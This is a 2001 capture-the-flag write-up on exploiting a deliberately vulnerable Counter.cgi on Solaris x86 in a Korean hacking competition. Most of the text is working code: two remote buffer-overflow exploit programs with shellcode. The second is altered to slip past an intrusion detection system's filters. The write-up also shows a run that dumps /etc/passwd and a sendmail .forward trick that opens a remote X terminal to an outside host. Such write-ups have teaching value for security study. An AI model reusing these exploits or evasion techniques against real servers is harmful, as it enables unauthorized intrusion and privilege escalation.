How could I hack level2 of the security olymfair 2001? http://www.olymfair.org


------------------------------------------------------------------------------

Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net
Alticast http://www.alticast.com
Postech ( Pohang University of Science and Technology ) http://www.postech.edu

------------------------------------------------------------------------------


1. Preface
Unixian told me to help himself to hack level2 of the security olymfair 2001,
which is hacking competetion held in Korea. Therefore, I helped him to pass
level2 because I am his good friend. :))

Level2 of the security olymfair 2001 is not hard for the professional hacker.
The admin just make a intentional bug and the hackers try to exploit the bug.
Therefore, this problem may not be interesting for the professional hacker.
If you are a professional hacker, please just ignore this article. Thanks. :)

2. Situation
It was not easy to get those information from remote. I got some of them
accidently.

target platform is intel x86 solaris 8.
all traffic is filtered.
( except for incoming 80 tcp port and outgoing 6000 tcp port )
apache 1.3.19 is installed.
there is /cgi-bin/Counter.cgi ( level2:root 4755 ) ( User:Group Permission )
there is /cgi-bin/Counter.c ( Source file. )
IDS disconnects all connections which contains '\x90', 'xterm', or '/bin/sh'.

3. Assignment
Change the /usr/local/apache/htdocs/main.html ( root:level2 660 )
Execute the /usr/local/apache/idaccess ( olym:level2 550 )

3. Let's see Counter.c

begin Counter.c
----------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#define FILENAME "/usr/local/apache/cgi-bin/counter.dat"

unsigned long getsp() {
__asm__ ("mov %esp,%eax");
}

int main() {
FILE *fp;
int counter=0;
char envc[0xff], *env;

env = getenv("HTTP_USER_AGENT");

printf("Content-Type: text/html \n\n");

if (!env) {
/* ^______^ */
printf("Segmentation fault (core dumped)\n");
exit(0);
}

strcpy(envc,env);
strtok(envc," ");

if((fp=fopen(FILENAME,"rt")) == NULL ) exit(0);
fscanf(fp,"%d",&counter);
fclose(fp);
printf("<FONT size=2><B>VISIT</B>: %d / <B>BROWSER</B>: %s</FONT>\n",counter,en
vc);


if((fp=fopen(FILENAME,"wt")) == NULL ) exit(0);
fprintf(fp,"%d\n",counter+1);
fclose(fp);

return 0;

}
----------------------------------------------------------------------
end Counter.c

When you see this source code, you can find very interesting parts.
That's 'printf("Segmentation fault (core dumped)\n");'. Because of this line,
too many ignorant hackers tried to exploit this segmentation fault ( almost all

hackers didn't have this source code. )
However, if segmentation fault occurred really, the internal server error must

be printed. When I tried to input 280 characters in the 'HTTP_USER_AGENT'
environment variable, I could get real segmentation fault message ( internal
server error ).
'strcpy(envc,env);' causes classical buffer overflow condition. However,
'strtok(envc," ");' protects hackers from exploiting and make hackers consume
more time to exploit.

4. How does strtok function works?

begin the strtok man page
----------------------------------------------------------------------
char *strtok(char *s1, const char *s2);

The strtok() function can be used to break the string
pointed to by s1 into a sequence of tokens, each of which is
delimited by one or more characters from the string pointed
to by s2. The strtok() function considers the string s1 to
consist of a sequence of zero or more text tokens separated
by spans of one or more characters from the separator string
s2. The first call (with pointer s1 specified) returns a
pointer to the first character of the first token, and will
have written a null character into s1 immediately following
the returned token. The function keeps track of its position
in the string between separate calls, so that subsequent
calls (which must be made with the first argument being a
null pointer) will work through the string s1 immediately
following that token. In this way subsequent calls will work
through the string s1 until no tokens remain. The separator
string s2 may be different from call to call. When no token
remains in s1, a null pointer is returned.
----------------------------------------------------------------------
end the strtok man page

Therefore, in the Counter.c source code, the first ' ' character will be
changed to '\0' character in the envc string. It is somewhat annoying to
exploit the buffer overflow bug. Anyway, let's examine strtok minutely.

begin examine-strtok.c
----------------------------------------------------------------------
#include<string.h>
#include<stdio.h>

main()
{
char str[256];
int len;
int i;

strcpy(str, "abcdefghijklmnopqrstuvwxtz");
len = strlen(str);

printf("before strtok\n");
for (i = 0; i < len; i++)
printf("%02x ", str[i]);
printf("\n");

strtok(str,"n");

printf("after strtok\n");
for (i = 0; i < len; i++)
printf("%02x ", str[i]);
printf("\n");
}
----------------------------------------------------------------------
end examine-strtok.c

begin execute examine-strtok
----------------------------------------------------------------------
before strtok
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 74 7a
after strtok
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 00 6f 70 71 72 73 74 75 76 77 78 74 7a
----------------------------------------------------------------------
end execute examine-strtok

strtok function changes only 'n' character to '\0' character and doesn't touch

any other characters. So I can pass through this function easily. I just added

'a' and ' ' character. The ' ' will be converted to '\0', however it doesn't
matter. The return address is overwritten already and strtok can't mess the
shellcode.

5. Let's exploit Counter.cgi
I have no expreience to make intel x86 solaris shellcode. Therefore, I
decided to modify the legacy shellcode. I used the shellcode from
'http://packetstorm.securify.com/0004-exploits/solx86-nisd.c'

begin Counter-exploit1.c
----------------------------------------------------------------------
/*

Counter.cgi remote exploit. It's for the security olymfair 2001.

2001/05/13 by ohhara

Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net
Alticast http://www.alticast.com
Postech ( Pohang University of Science and Technology ) http://www.postech.edu


*/

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#define MAXBUFF 280
#define NOP '\x90'
#define RETADDR 0x08047cee
#define RETINDEX 264
#define RETREPEAT 3

unsigned char shell[300] =
"\xeb\x3d" /* jmp 0x3d */
"\x9a\x24\x24\x24\x24\x07\x24\xc3"
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax,%eax */
"\x89\x46\xbf" /* movl %eax,-0x41(%esi) */
"\x88\x46\xc4" /* movb %eax,-0x3c(%esi) */
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a"
"\x88\x46\x78" /* movb %al,0x78(%esi) */
"\x29\xc0\x50\x56\x8d\x5e\x10"
"\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b"
"\xe8\xc6\xff\xff\xff" /* call -0x3a */
"\xff\xff\xff"
"\xe8\xc6\xff\xff\xff" /* call -0x3a */
"\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x04\x04\x04\x04"
"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"; /* '/bin/sh -c ' */

main(int argc, char **argv)
{
unsigned char buff[MAXBUFF];
unsigned int *ptr;
unsigned int i, j;
int offset;
unsigned int size;

if (argc < 3)
{
printf("Usage: %s <command> <offset>\n", argv[0]);
exit(0);
}

/* I have no time to make secure exploit program. :) */
strcat(shell, argv[1]);
strcat(shell, ";");
offset = atoi(argv[2]);

for (i = 0; i < MAXBUFF; i++)
buff[i] = NOP;
buff[0] = 'a';
buff[1] = ' ';

ptr = (unsigned int *)&buff[RETINDEX];
for (i = 0; i < RETREPEAT; i++)
ptr[i] = (RETADDR + offset);
ptr[i] = 0;

size = strlen(shell);

for (i = RETINDEX - size, j = 0; i < RETINDEX; i++, j++)
buff[i] = shell[j];

printf ("GET /cgi-bin/Counter.cgi HTTP/1.0\nUser-Agent:%s\n\n",buff);

}
----------------------------------------------------------------------
end Counter-exploit1.c

It works very well in my intel x86 solaris box. However, I couldn't use this
exploit code directly, because IDS filters "/bin/sh", "xterm" and "\x90".
Therefore, I had to modify some parts of the shellcode.

begin Counter-exploit2.c
----------------------------------------------------------------------
/*

Counter.cgi remote exploit. It's for the security olymfair 2001.

2001/05/13 by ohhara

Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net
Alticast http://www.alticast.com
Postech ( Pohang University of Science and Technology ) http://www.postech.edu


*/

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#define MAXBUFF 280
#define NOP '\x40' /* incl %eax */
#define RETADDR 0x08047cee
#define RETINDEX 268
#define RETREPEAT 1

unsigned char shell[300] =
/* "\xeb\x3d" */ /* jmp 0x3d */
"\xeb\x41" /* jmp 0x41 */

"\x9a\x24\x24\x24\x24\x07\x24\xc3"
"\x5e" /* popl %esi */

/* add this to hide /bin/sh string */
"\xc6\x46\x10\x2f" /* movb $0x2f,0x10(%esi) */

"\x29\xc0" /* subl %eax,%eax */

/* "\x89\x46\xbf" */ /* movl %eax,-0x41(%esi) */
"\x89\x46\xbb" /* movl %eax,-0x45(%esi) */

/* "\x88\x46\xc4" */ /* movb %eax,-0x3c(%esi) */
"\x88\x46\xc0" /* movb %eax,-0x40(%esi) */

"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a"
"\x88\x46\x78" /* movb %al,0x78(%esi) */
"\x29\xc0\x50\x56\x8d\x5e\x10"
"\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b"

/* "\xe8\xc6\xff\xff\xff" */ /* call -0x3a */
"\xe8\xc2\xff\xff\xff" /* call -0x3e */

"\xff\xff\xff"

/* "\xe8\xc6\xff\xff\xff" */ /* call -0x3a */
"\xe8\xc2\xff\xff\xff" /* call -0x3e */

"\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x04\x04\x04\x04"

/* "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20";*//* '/bin/sh -c ' i */
"\xff\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"; /* '/bin/sh -c ' (disguised) */


main(int argc, char **argv)
{
unsigned char buff[MAXBUFF];
unsigned int *ptr;
unsigned int i, j;
int offset;
unsigned int size;

if (argc < 3)
{
printf("Usage: %s <command> <offset>\n", argv[0]);
exit(0);
}

/* I have no time to make secure exploit program. :) */
strcat(shell, argv[1]);
/* 34 is magic! */
/* 27 is magic!! */
shell[34] = strlen(argv[1]) + 27;
offset = atoi(argv[2]);

for (i = 0; i < MAXBUFF; i++)
buff[i] = NOP;
buff[0] = 'a';
buff[1] = ' ';

ptr = (unsigned int *)&buff[RETINDEX];
for (i = 0; i < RETREPEAT; i++)
ptr[i] = (RETADDR + offset);
ptr[i] = 0;

size = strlen(shell);

for (i = RETINDEX - size, j = 0; i < RETINDEX; i++, j++)
buff[i] = shell[j];

printf ("GET /cgi-bin/Counter.cgi HTTP/1.0\nUser-Agent:%s\n\n",buff);

}
----------------------------------------------------------------------
end Counter-exploit2.c

This code uses '\x40'(incl %eax) as NOP. NOP doesn't have to be '\x90'(nop).
'incl %eax' is meaningless in the shellcode because %eax will be initialized
as 0 when the shellcode is executed.

This code uses "\xffbin/sh" instead of "/bin/sh". The '\xff' will be changed
to '/' when "\xc6\x46\x10\x2f" /* movb $0x2f,0x10(%esi) */ is executed.

In addition, I changed the other parts of the shellcode( jmp offset or call
offset and so on ) to make this code work properly.

begin execute Counter-exploit2.c
----------------------------------------------------------------------
[ ohhara@es ~ ] {1} $ ./Counter-exploit2 "echo 'Content-type:text';echo;/bin/ca
t /etc/passwd" 0 | nc eee.ffff.ggg.hhh 80
HTTP/1.1 200 OK
Date: Tue, 15 May 2001 06:37:21 GMT
Server: Apache/1.3.19 (Unix)
Connection: close
Content-Type: text

root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
. . .
. . .
[ ohhara@es ~ ] {2} $
----------------------------------------------------------------------
end execute Counter-exploit2.c

Bingo. Now, I can execute arbitrary shell commands.

5. Let's get level2 gid
Even if I was able to execute arbitrary shell commands, I couldn't pass the
level. Counter.cgi was installed as setuid level2. And to pass the level2, I
needed level2 gid. However, there was no setgid level2 program in the system.
So even the default gid of the level2 was level2 gid, I couldn't pass level2.

There was /usr/lib/sendmail.bak, and installed as setuid root 4755.
And there was /usr/X11R6/bin/xt ( it looks like xterm )

I made .forward file in the level2 home directory like this.

begin .forward
----------------------------------------------------------------------
"|/usr/X11R6/bin/xt -display aaa.bbb.ccc.ddd:0.0"
----------------------------------------------------------------------
end .forward

And sent email to level2 like this.

begin execute sendmail
----------------------------------------------------------------------
echo a | /usr/lib/sendmail.bak level2
----------------------------------------------------------------------
end execute sendmail

I was able to see level2 uid, gid x terminal. Consequently, I modified
/usr/local/apache/htdocs/main.html and executed /usr/local/apache/idaccess.
I passed level2.

6. Conclusion
Even if the IDS has many shellcode protecting rule, it's very hard to protect
completely from hackers.

7. Etc.
I am very sorry for my poor english.

------------------------------------------------------------------------------

Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net
Alticast http://www.alticast.com
Postech ( Pohang University of Science and Technology ) http://www.postech.edu

------------------------------------------------------------------------------
 

